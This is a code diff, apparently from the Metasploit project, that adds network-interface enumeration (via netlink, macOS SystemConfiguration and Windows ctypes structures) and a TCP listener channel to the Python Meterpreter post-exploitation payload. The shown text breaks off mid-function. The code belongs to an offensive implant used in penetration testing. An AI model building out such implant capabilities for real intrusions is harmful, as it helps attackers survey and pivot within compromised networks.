Land #3067, python meterp net.config additions
commit
6438b9372c
|
@ -8,14 +8,15 @@ import socket
|
||||||
import struct
|
import struct
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
try:
|
try:
|
||||||
import ctypes
|
import ctypes
|
||||||
has_ctypes = True
|
has_ctypes = True
|
||||||
has_windll = hasattr(ctypes, 'windll')
|
has_windll = hasattr(ctypes, 'windll')
|
||||||
except:
|
except ImportError:
|
||||||
has_windll = False
|
|
||||||
has_ctypes = False
|
has_ctypes = False
|
||||||
|
has_windll = False
|
||||||
|
|
||||||
try:
|
try:
|
||||||
import pty
|
import pty
|
||||||
|
@ -29,6 +30,12 @@ try:
|
||||||
except ImportError:
|
except ImportError:
|
||||||
has_pwd = False
|
has_pwd = False
|
||||||
|
|
||||||
|
try:
|
||||||
|
import SystemConfiguration as osxsc
|
||||||
|
has_osxsc = True
|
||||||
|
except ImportError:
|
||||||
|
has_osxsc = False
|
||||||
|
|
||||||
try:
|
try:
|
||||||
import termios
|
import termios
|
||||||
has_termios = True
|
has_termios = True
|
||||||
|
@ -42,6 +49,125 @@ except ImportError:
|
||||||
has_winreg = False
|
has_winreg = False
|
||||||
|
|
||||||
if has_ctypes:
|
if has_ctypes:
|
||||||
|
#
|
||||||
|
# Windows Structures
|
||||||
|
#
|
||||||
|
class SOCKADDR(ctypes.Structure):
|
||||||
|
_fields_ = [("sa_family", ctypes.c_ushort),
|
||||||
|
("sa_data", (ctypes.c_uint8 * 14))]
|
||||||
|
|
||||||
|
class SOCKET_ADDRESS(ctypes.Structure):
|
||||||
|
_fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)),
|
||||||
|
("iSockaddrLength", ctypes.c_int)]
|
||||||
|
|
||||||
|
class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure):
|
||||||
|
_fields_ = [
|
||||||
|
("s", type(
|
||||||
|
'_s_IP_ADAPTER_UNICAST_ADDRESS',
|
||||||
|
(ctypes.Structure,),
|
||||||
|
dict(_fields_ = [
|
||||||
|
("Length", ctypes.c_ulong),
|
||||||
|
("Flags", ctypes.c_uint32)
|
||||||
|
])
|
||||||
|
)),
|
||||||
|
("Next", ctypes.c_void_p),
|
||||||
|
("Address", SOCKET_ADDRESS),
|
||||||
|
("PrefixOrigin", ctypes.c_uint32),
|
||||||
|
("SuffixOrigin", ctypes.c_uint32),
|
||||||
|
("DadState", ctypes.c_uint32),
|
||||||
|
("ValidLifetime", ctypes.c_ulong),
|
||||||
|
("PreferredLifetime", ctypes.c_ulong),
|
||||||
|
("LeaseLifetime", ctypes.c_ulong),
|
||||||
|
("OnLinkPrefixLength", ctypes.c_uint8)]
|
||||||
|
|
||||||
|
class IP_ADAPTER_ADDRESSES(ctypes.Structure):
|
||||||
|
_fields_ = [
|
||||||
|
("u", type(
|
||||||
|
'_u_IP_ADAPTER_ADDRESSES',
|
||||||
|
(ctypes.Union,),
|
||||||
|
dict(_fields_ = [
|
||||||
|
("Alignment", ctypes.c_ulonglong),
|
||||||
|
("s", type(
|
||||||
|
'_s_IP_ADAPTER_ADDRESSES',
|
||||||
|
(ctypes.Structure,),
|
||||||
|
dict(_fields_ = [
|
||||||
|
("Length", ctypes.c_ulong),
|
||||||
|
("IfIndex", ctypes.c_uint32)
|
||||||
|
])
|
||||||
|
))
|
||||||
|
])
|
||||||
|
)),
|
||||||
|
("Next", ctypes.c_void_p),
|
||||||
|
("AdapterName", ctypes.c_char_p),
|
||||||
|
("FirstUnicastAddress", ctypes.c_void_p),
|
||||||
|
("FirstAnycastAddress", ctypes.c_void_p),
|
||||||
|
("FirstMulticastAddress", ctypes.c_void_p),
|
||||||
|
("FirstDnsServerAddress", ctypes.c_void_p),
|
||||||
|
("DnsSuffix", ctypes.c_wchar_p),
|
||||||
|
("Description", ctypes.c_wchar_p),
|
||||||
|
("FriendlyName", ctypes.c_wchar_p),
|
||||||
|
("PhysicalAddress", (ctypes.c_uint8 * 8)),
|
||||||
|
("PhysicalAddressLength", ctypes.c_uint32),
|
||||||
|
("Flags", ctypes.c_uint32),
|
||||||
|
("Mtu", ctypes.c_uint32),
|
||||||
|
("IfType", ctypes.c_uint32),
|
||||||
|
("OperStatus", ctypes.c_uint32),
|
||||||
|
("Ipv6IfIndex", ctypes.c_uint32),
|
||||||
|
("ZoneIndices", (ctypes.c_uint32 * 16)),
|
||||||
|
("FirstPrefix", ctypes.c_void_p),
|
||||||
|
("TransmitLinkSpeed", ctypes.c_uint64),
|
||||||
|
("ReceiveLinkSpeed", ctypes.c_uint64),
|
||||||
|
("FirstWinsServerAddress", ctypes.c_void_p),
|
||||||
|
("FirstGatewayAddress", ctypes.c_void_p),
|
||||||
|
("Ipv4Metric", ctypes.c_ulong),
|
||||||
|
("Ipv6Metric", ctypes.c_ulong),
|
||||||
|
("Luid", ctypes.c_uint64),
|
||||||
|
("Dhcpv4Server", SOCKET_ADDRESS),
|
||||||
|
("CompartmentId", ctypes.c_uint32),
|
||||||
|
("NetworkGuid", (ctypes.c_uint8 * 16)),
|
||||||
|
("ConnectionType", ctypes.c_uint32),
|
||||||
|
("TunnelType", ctypes.c_uint32),
|
||||||
|
("Dhcpv6Server", SOCKET_ADDRESS),
|
||||||
|
("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)),
|
||||||
|
("Dhcpv6ClientDuidLength", ctypes.c_ulong),
|
||||||
|
("Dhcpv6Iaid", ctypes.c_ulong),
|
||||||
|
("FirstDnsSuffix", ctypes.c_void_p)]
|
||||||
|
|
||||||
|
class MIB_IFROW(ctypes.Structure):
|
||||||
|
_fields_ = [("wszName", (ctypes.c_wchar * 256)),
|
||||||
|
("dwIndex", ctypes.c_uint32),
|
||||||
|
("dwType", ctypes.c_uint32),
|
||||||
|
("dwMtu", ctypes.c_uint32),
|
||||||
|
("dwSpeed", ctypes.c_uint32),
|
||||||
|
("dwPhysAddrLen", ctypes.c_uint32),
|
||||||
|
("bPhysAddr", (ctypes.c_uint8 * 8)),
|
||||||
|
("dwAdminStatus", ctypes.c_uint32),
|
||||||
|
("dwOperStaus", ctypes.c_uint32),
|
||||||
|
("dwLastChange", ctypes.c_uint32),
|
||||||
|
("dwInOctets", ctypes.c_uint32),
|
||||||
|
("dwInUcastPkts", ctypes.c_uint32),
|
||||||
|
("dwInNUcastPkts", ctypes.c_uint32),
|
||||||
|
("dwInDiscards", ctypes.c_uint32),
|
||||||
|
("dwInErrors", ctypes.c_uint32),
|
||||||
|
("dwInUnknownProtos", ctypes.c_uint32),
|
||||||
|
("dwOutOctets", ctypes.c_uint32),
|
||||||
|
("dwOutUcastPkts", ctypes.c_uint32),
|
||||||
|
("dwOutNUcastPkts", ctypes.c_uint32),
|
||||||
|
("dwOutDiscards", ctypes.c_uint32),
|
||||||
|
("dwOutErrors", ctypes.c_uint32),
|
||||||
|
("dwOutQLen", ctypes.c_uint32),
|
||||||
|
("dwDescrLen", ctypes.c_uint32),
|
||||||
|
("bDescr", (ctypes.c_char * 256))]
|
||||||
|
|
||||||
|
class MIB_IPADDRROW(ctypes.Structure):
|
||||||
|
_fields_ = [("dwAddr", ctypes.c_uint32),
|
||||||
|
("dwIndex", ctypes.c_uint32),
|
||||||
|
("dwMask", ctypes.c_uint32),
|
||||||
|
("dwBCastAddr", ctypes.c_uint32),
|
||||||
|
("dwReasmSize", ctypes.c_uint32),
|
||||||
|
("unused1", ctypes.c_uint16),
|
||||||
|
("wType", ctypes.c_uint16)]
|
||||||
|
|
||||||
class PROCESSENTRY32(ctypes.Structure):
|
class PROCESSENTRY32(ctypes.Structure):
|
||||||
_fields_ = [("dwSize", ctypes.c_uint32),
|
_fields_ = [("dwSize", ctypes.c_uint32),
|
||||||
("cntUsage", ctypes.c_uint32),
|
("cntUsage", ctypes.c_uint32),
|
||||||
|
@ -54,6 +180,10 @@ if has_ctypes:
|
||||||
("dwFlags", ctypes.c_uint32),
|
("dwFlags", ctypes.c_uint32),
|
||||||
("szExeFile", (ctypes.c_char * 260))]
|
("szExeFile", (ctypes.c_char * 260))]
|
||||||
|
|
||||||
|
class SID_AND_ATTRIBUTES(ctypes.Structure):
|
||||||
|
_fields_ = [("Sid", ctypes.c_void_p),
|
||||||
|
("Attributes", ctypes.c_uint32)]
|
||||||
|
|
||||||
class SYSTEM_INFO(ctypes.Structure):
|
class SYSTEM_INFO(ctypes.Structure):
|
||||||
_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
|
_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
|
||||||
("wReserved", ctypes.c_uint16),
|
("wReserved", ctypes.c_uint16),
|
||||||
|
@ -65,29 +195,50 @@ if has_ctypes:
|
||||||
("dwProcessorType", ctypes.c_uint32),
|
("dwProcessorType", ctypes.c_uint32),
|
||||||
("dwAllocationGranularity", ctypes.c_uint32),
|
("dwAllocationGranularity", ctypes.c_uint32),
|
||||||
("wProcessorLevel", ctypes.c_uint16),
|
("wProcessorLevel", ctypes.c_uint16),
|
||||||
("wProcessorRevision", ctypes.c_uint16),]
|
("wProcessorRevision", ctypes.c_uint16)]
|
||||||
|
|
||||||
class SID_AND_ATTRIBUTES(ctypes.Structure):
|
#
|
||||||
_fields_ = [("Sid", ctypes.c_void_p),
|
# Linux Structures
|
||||||
("Attributes", ctypes.c_uint32),]
|
#
|
||||||
|
class IFADDRMSG(ctypes.Structure):
|
||||||
|
_fields_ = [("family", ctypes.c_uint8),
|
||||||
|
("prefixlen", ctypes.c_uint8),
|
||||||
|
("flags", ctypes.c_uint8),
|
||||||
|
("scope", ctypes.c_uint8),
|
||||||
|
("index", ctypes.c_int32)]
|
||||||
|
|
||||||
##
|
class IFINFOMSG(ctypes.Structure):
|
||||||
# STDAPI
|
_fields_ = [("family", ctypes.c_uint8),
|
||||||
##
|
("pad", ctypes.c_int8),
|
||||||
|
("type", ctypes.c_uint16),
|
||||||
|
("index", ctypes.c_int32),
|
||||||
|
("flags", ctypes.c_uint32),
|
||||||
|
("chagen", ctypes.c_uint32)]
|
||||||
|
|
||||||
|
class NLMSGHDR(ctypes.Structure):
|
||||||
|
_fields_ = [("len", ctypes.c_uint32),
|
||||||
|
("type", ctypes.c_uint16),
|
||||||
|
("flags", ctypes.c_uint16),
|
||||||
|
("seq", ctypes.c_uint32),
|
||||||
|
("pid", ctypes.c_uint32)]
|
||||||
|
|
||||||
|
class RTATTR(ctypes.Structure):
|
||||||
|
_fields_ = [("len", ctypes.c_uint16),
|
||||||
|
("type", ctypes.c_uint16)]
|
||||||
|
|
||||||
#
|
#
|
||||||
# TLV Meta Types
|
# TLV Meta Types
|
||||||
#
|
#
|
||||||
TLV_META_TYPE_NONE = ( 0 )
|
TLV_META_TYPE_NONE = ( 0 )
|
||||||
TLV_META_TYPE_STRING = (1 << 16)
|
TLV_META_TYPE_STRING = (1 << 16)
|
||||||
TLV_META_TYPE_UINT = (1 << 17)
|
TLV_META_TYPE_UINT = (1 << 17)
|
||||||
TLV_META_TYPE_RAW = (1 << 18)
|
TLV_META_TYPE_RAW = (1 << 18)
|
||||||
TLV_META_TYPE_BOOL = (1 << 19)
|
TLV_META_TYPE_BOOL = (1 << 19)
|
||||||
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
||||||
TLV_META_TYPE_GROUP = (1 << 30)
|
TLV_META_TYPE_GROUP = (1 << 30)
|
||||||
TLV_META_TYPE_COMPLEX = (1 << 31)
|
TLV_META_TYPE_COMPLEX = (1 << 31)
|
||||||
# not defined in original
|
# not defined in original
|
||||||
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
||||||
|
|
||||||
#
|
#
|
||||||
# TLV Specific Types
|
# TLV Specific Types
|
||||||
|
@ -141,16 +292,21 @@ TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233
|
||||||
##
|
##
|
||||||
TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400
|
TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400
|
||||||
TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401
|
TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401
|
||||||
|
TLV_TYPE_INTERFACE_MTU = TLV_META_TYPE_UINT | 1402
|
||||||
|
TLV_TYPE_INTERFACE_FLAGS = TLV_META_TYPE_STRING | 1403
|
||||||
|
TLV_TYPE_INTERFACE_INDEX = TLV_META_TYPE_UINT | 1404
|
||||||
|
|
||||||
TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420
|
TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420
|
||||||
TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421
|
TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421
|
||||||
TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422
|
TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422
|
||||||
TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423
|
TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423
|
||||||
|
TLV_TYPE_IP_PREFIX = TLV_META_TYPE_UINT | 1424
|
||||||
|
|
||||||
TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430
|
TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430
|
||||||
TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431
|
TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431
|
||||||
TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432
|
TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432
|
||||||
TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
|
TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
|
||||||
|
TLV_TYPE_IP6_SCOPE = TLV_META_TYPE_RAW | 1434
|
||||||
|
|
||||||
TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
|
TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
|
||||||
TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
|
TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
|
||||||
|
@ -296,9 +452,39 @@ ERROR_FAILURE = 1
|
||||||
# errors.
|
# errors.
|
||||||
ERROR_CONNECTION_ERROR = 10000
|
ERROR_CONNECTION_ERROR = 10000
|
||||||
|
|
||||||
|
# Windows Constants
|
||||||
|
GAA_FLAG_SKIP_ANYCAST = 0x0002
|
||||||
|
GAA_FLAG_SKIP_MULTICAST = 0x0004
|
||||||
|
GAA_FLAG_INCLUDE_PREFIX = 0x0010
|
||||||
|
GAA_FLAG_SKIP_DNS_SERVER = 0x0080
|
||||||
|
|
||||||
WIN_AF_INET = 2
|
WIN_AF_INET = 2
|
||||||
WIN_AF_INET6 = 23
|
WIN_AF_INET6 = 23
|
||||||
|
|
||||||
|
# Linux Constants
|
||||||
|
RTM_GETLINK = 18
|
||||||
|
RTM_GETADDR = 22
|
||||||
|
RTM_GETROUTE = 26
|
||||||
|
|
||||||
|
IFLA_ADDRESS = 1
|
||||||
|
IFLA_BROADCAST = 2
|
||||||
|
IFLA_IFNAME = 3
|
||||||
|
IFLA_MTU = 4
|
||||||
|
|
||||||
|
IFA_ADDRESS = 1
|
||||||
|
IFA_LABEL = 3
|
||||||
|
|
||||||
|
def calculate_32bit_netmask(bits):
|
||||||
|
if bits == 32:
|
||||||
|
return 0xffffffff
|
||||||
|
return ((0xffffffff << (32-(bits%32))) & 0xffffffff)
|
||||||
|
|
||||||
|
def cstruct_unpack(structure, raw_data):
|
||||||
|
if not isinstance(structure, ctypes.Structure):
|
||||||
|
structure = structure()
|
||||||
|
ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure))
|
||||||
|
return structure
|
||||||
|
|
||||||
def get_stat_buffer(path):
|
def get_stat_buffer(path):
|
||||||
si = os.stat(path)
|
si = os.stat(path)
|
||||||
rdev = 0
|
rdev = 0
|
||||||
|
@ -316,20 +502,30 @@ def get_stat_buffer(path):
|
||||||
st_buf += struct.pack('<II', blksize, blocks)
|
st_buf += struct.pack('<II', blksize, blocks)
|
||||||
return st_buf
|
return st_buf
|
||||||
|
|
||||||
def inet_pton(family, address):
|
def netlink_request(req_type):
|
||||||
if hasattr(socket, 'inet_pton'):
|
# See RFC 3549
|
||||||
return socket.inet_pton(family, address)
|
NLM_F_REQUEST = 0x0001
|
||||||
elif has_windll:
|
NLM_F_ROOT = 0x0100
|
||||||
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
|
NLMSG_ERROR = 0x0002
|
||||||
lpAddress = (ctypes.c_ubyte * 28)()
|
NLMSG_DONE = 0x0003
|
||||||
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
|
|
||||||
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
|
sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, socket.NETLINK_ROUTE)
|
||||||
raise Exception('WSAStringToAddress failed')
|
sock.bind((os.getpid(), 0))
|
||||||
if family == socket.AF_INET:
|
seq = int(time.time())
|
||||||
return ''.join(map(chr, lpAddress[4:8]))
|
nlmsg = struct.pack('IHHIIB15x', 32, req_type, (NLM_F_REQUEST | NLM_F_ROOT), seq, 0, socket.AF_UNSPEC)
|
||||||
elif family == socket.AF_INET6:
|
sfd = os.fdopen(sock.fileno(), 'w+b')
|
||||||
return ''.join(map(chr, lpAddress[8:24]))
|
sfd.write(nlmsg)
|
||||||
raise Exception('no suitable inet_pton functionality is available')
|
responses = []
|
||||||
|
response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR)))
|
||||||
|
while response.type != NLMSG_DONE:
|
||||||
|
if response.type == NLMSG_ERROR:
|
||||||
|
break
|
||||||
|
response_data = sfd.read(response.len - 16)
|
||||||
|
responses.append(response_data)
|
||||||
|
response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR)))
|
||||||
|
sfd.close()
|
||||||
|
sock.close()
|
||||||
|
return responses
|
||||||
|
|
||||||
def resolve_host(hostname, family):
|
def resolve_host(hostname, family):
|
||||||
address_info = socket.getaddrinfo(hostname, 0, family, socket.SOCK_DGRAM, socket.IPPROTO_UDP)[0]
|
address_info = socket.getaddrinfo(hostname, 0, family, socket.SOCK_DGRAM, socket.IPPROTO_UDP)[0]
|
||||||
|
@ -344,8 +540,17 @@ def windll_GetNativeSystemInfo():
|
||||||
ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
|
ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
|
||||||
return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)
|
return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)
|
||||||
|
|
||||||
|
def windll_GetVersion():
|
||||||
|
if not has_windll:
|
||||||
|
return None
|
||||||
|
dwVersion = ctypes.windll.kernel32.GetVersion()
|
||||||
|
dwMajorVersion = (dwVersion & 0x000000ff)
|
||||||
|
dwMinorVersion = ((dwVersion & 0x0000ff00) >> 8)
|
||||||
|
dwBuild = ((dwVersion & 0xffff0000) >> 16)
|
||||||
|
return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild))
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def channel_create_stdapi_fs_file(request, response):
|
def channel_open_stdapi_fs_file(request, response):
|
||||||
fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
|
fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
|
||||||
if fmode:
|
if fmode:
|
||||||
|
@ -359,7 +564,7 @@ def channel_create_stdapi_fs_file(request, response):
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def channel_create_stdapi_net_tcp_client(request, response):
|
def channel_open_stdapi_net_tcp_client(request, response):
|
||||||
host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
|
host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
|
||||||
port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value']
|
port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value']
|
||||||
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST)
|
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST)
|
||||||
|
@ -379,7 +584,19 @@ def channel_create_stdapi_net_tcp_client(request, response):
|
||||||
pass
|
pass
|
||||||
if not connected:
|
if not connected:
|
||||||
return ERROR_CONNECTION_ERROR, response
|
return ERROR_CONNECTION_ERROR, response
|
||||||
channel_id = meterpreter.add_channel(sock)
|
channel_id = meterpreter.add_channel(MeterpreterSocketClient(sock))
|
||||||
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def channel_open_stdapi_net_tcp_server(request, response):
|
||||||
|
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0')
|
||||||
|
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value']
|
||||||
|
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
server_sock.bind((local_host, local_port))
|
||||||
|
server_sock.listen(socket.SOMAXCONN)
|
||||||
|
channel_id = meterpreter.add_channel(MeterpreterSocketServer(server_sock))
|
||||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@ -746,6 +963,235 @@ def stdapi_fs_stat(request, response):
|
||||||
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
|
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def stdapi_net_config_get_interfaces(request, response):
|
||||||
|
if hasattr(socket, 'AF_NETLINK'):
|
||||||
|
interfaces = stdapi_net_config_get_interfaces_via_netlink()
|
||||||
|
elif has_osxsc:
|
||||||
|
interfaces = stdapi_net_config_get_interfaces_via_osxsc()
|
||||||
|
elif has_windll:
|
||||||
|
interfaces = stdapi_net_config_get_interfaces_via_windll()
|
||||||
|
else:
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
for iface_info in interfaces:
|
||||||
|
iface_tlv = ''
|
||||||
|
iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown'))
|
||||||
|
iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00'))
|
||||||
|
if 'mtu' in iface_info:
|
||||||
|
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu'])
|
||||||
|
if 'flags' in iface_info:
|
||||||
|
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags'])
|
||||||
|
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index'])
|
||||||
|
for address in iface_info.get('addrs', []):
|
||||||
|
iface_tlv += tlv_pack(TLV_TYPE_IP, address[1])
|
||||||
|
if isinstance(address[2], (int, long)):
|
||||||
|
iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2])
|
||||||
|
else:
|
||||||
|
iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2])
|
||||||
|
response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
def stdapi_net_config_get_interfaces_via_netlink():
|
||||||
|
rta_align = lambda l: l+3 & ~3
|
||||||
|
iface_flags = {
|
||||||
|
0x0001: 'UP',
|
||||||
|
0x0002: 'BROADCAST',
|
||||||
|
0x0008: 'LOOPBACK',
|
||||||
|
0x0010: 'POINTTOPOINT',
|
||||||
|
0x0040: 'RUNNING',
|
||||||
|
0x0100: 'PROMISC',
|
||||||
|
0x1000: 'MULTICAST'
|
||||||
|
}
|
||||||
|
iface_flags_sorted = iface_flags.keys()
|
||||||
|
# Dictionaries don't maintain order
|
||||||
|
iface_flags_sorted.sort()
|
||||||
|
interfaces = {}
|
||||||
|
|
||||||
|
responses = netlink_request(RTM_GETLINK)
|
||||||
|
for res_data in responses:
|
||||||
|
iface = cstruct_unpack(IFINFOMSG, res_data)
|
||||||
|
iface_info = {'index':iface.index}
|
||||||
|
flags = []
|
||||||
|
for flag in iface_flags_sorted:
|
||||||
|
if (iface.flags & flag):
|
||||||
|
flags.append(iface_flags[flag])
|
||||||
|
iface_info['flags'] = ' '.join(flags)
|
||||||
|
cursor = ctypes.sizeof(IFINFOMSG)
|
||||||
|
while cursor < len(res_data):
|
||||||
|
attribute = cstruct_unpack(RTATTR, res_data[cursor:])
|
||||||
|
at_len = attribute.len
|
||||||
|
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
|
||||||
|
cursor += rta_align(at_len)
|
||||||
|
|
||||||
|
if attribute.type == IFLA_ADDRESS:
|
||||||
|
iface_info['hw_addr'] = attr_data
|
||||||
|
elif attribute.type == IFLA_IFNAME:
|
||||||
|
iface_info['name'] = attr_data
|
||||||
|
elif attribute.type == IFLA_MTU:
|
||||||
|
iface_info['mtu'] = struct.unpack('<I', attr_data)[0]
|
||||||
|
interfaces[iface.index] = iface_info
|
||||||
|
|
||||||
|
responses = netlink_request(RTM_GETADDR)
|
||||||
|
for res_data in responses:
|
||||||
|
iface = cstruct_unpack(IFADDRMSG, res_data)
|
||||||
|
if not iface.family in (socket.AF_INET, socket.AF_INET6):
|
||||||
|
continue
|
||||||
|
iface_info = interfaces.get(iface.index, {})
|
||||||
|
cursor = ctypes.sizeof(IFADDRMSG)
|
||||||
|
while cursor < len(res_data):
|
||||||
|
attribute = cstruct_unpack(RTATTR, res_data[cursor:])
|
||||||
|
at_len = attribute.len
|
||||||
|
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
|
||||||
|
cursor += rta_align(at_len)
|
||||||
|
|
||||||
|
if attribute.type == IFA_ADDRESS:
|
||||||
|
nm_bits = iface.prefixlen
|
||||||
|
if iface.family == socket.AF_INET:
|
||||||
|
netmask = struct.pack('!I', calculate_32bit_netmask(nm_bits))
|
||||||
|
else:
|
||||||
|
if nm_bits >= 96:
|
||||||
|
netmask = struct.pack('!iiiI', -1, -1, -1, calculate_32bit_netmask(nm_bits))
|
||||||
|
elif nm_bits >= 64:
|
||||||
|
netmask = struct.pack('!iiII', -1, -1, calculate_32bit_netmask(nm_bits), 0)
|
||||||
|
elif nm_bits >= 32:
|
||||||
|
netmask = struct.pack('!iIII', -1, calculate_32bit_netmask(nm_bits), 0, 0)
|
||||||
|
else:
|
||||||
|
netmask = struct.pack('!IIII', calculate_32bit_netmask(nm_bits), 0, 0, 0)
|
||||||
|
addr_list = iface_info.get('addrs', [])
|
||||||
|
addr_list.append((iface.family, attr_data, netmask))
|
||||||
|
iface_info['addrs'] = addr_list
|
||||||
|
elif attribute.type == IFA_LABEL:
|
||||||
|
iface_info['name'] = attr_data
|
||||||
|
interfaces[iface.index] = iface_info
|
||||||
|
return interfaces.values()
|
||||||
|
|
||||||
|
def stdapi_net_config_get_interfaces_via_osxsc():
|
||||||
|
ds = osxsc.SCDynamicStoreCreate(None, 'GetInterfaceInformation', None, None)
|
||||||
|
entities = []
|
||||||
|
entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv4))
|
||||||
|
entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv6))
|
||||||
|
patterns = osxsc.CFArrayCreate(None, entities, len(entities), osxsc.kCFTypeArrayCallBacks)
|
||||||
|
values = osxsc.SCDynamicStoreCopyMultiple(ds, None, patterns)
|
||||||
|
interfaces = {}
|
||||||
|
for key, value in values.items():
|
||||||
|
iface_name = key.split('/')[3]
|
||||||
|
iface_info = interfaces.get(iface_name, {})
|
||||||
|
iface_info['name'] = str(iface_name)
|
||||||
|
if key.endswith('IPv4'):
|
||||||
|
family = socket.AF_INET
|
||||||
|
elif key.endswith('IPv6'):
|
||||||
|
family = socket.AF_INET6
|
||||||
|
else:
|
||||||
|
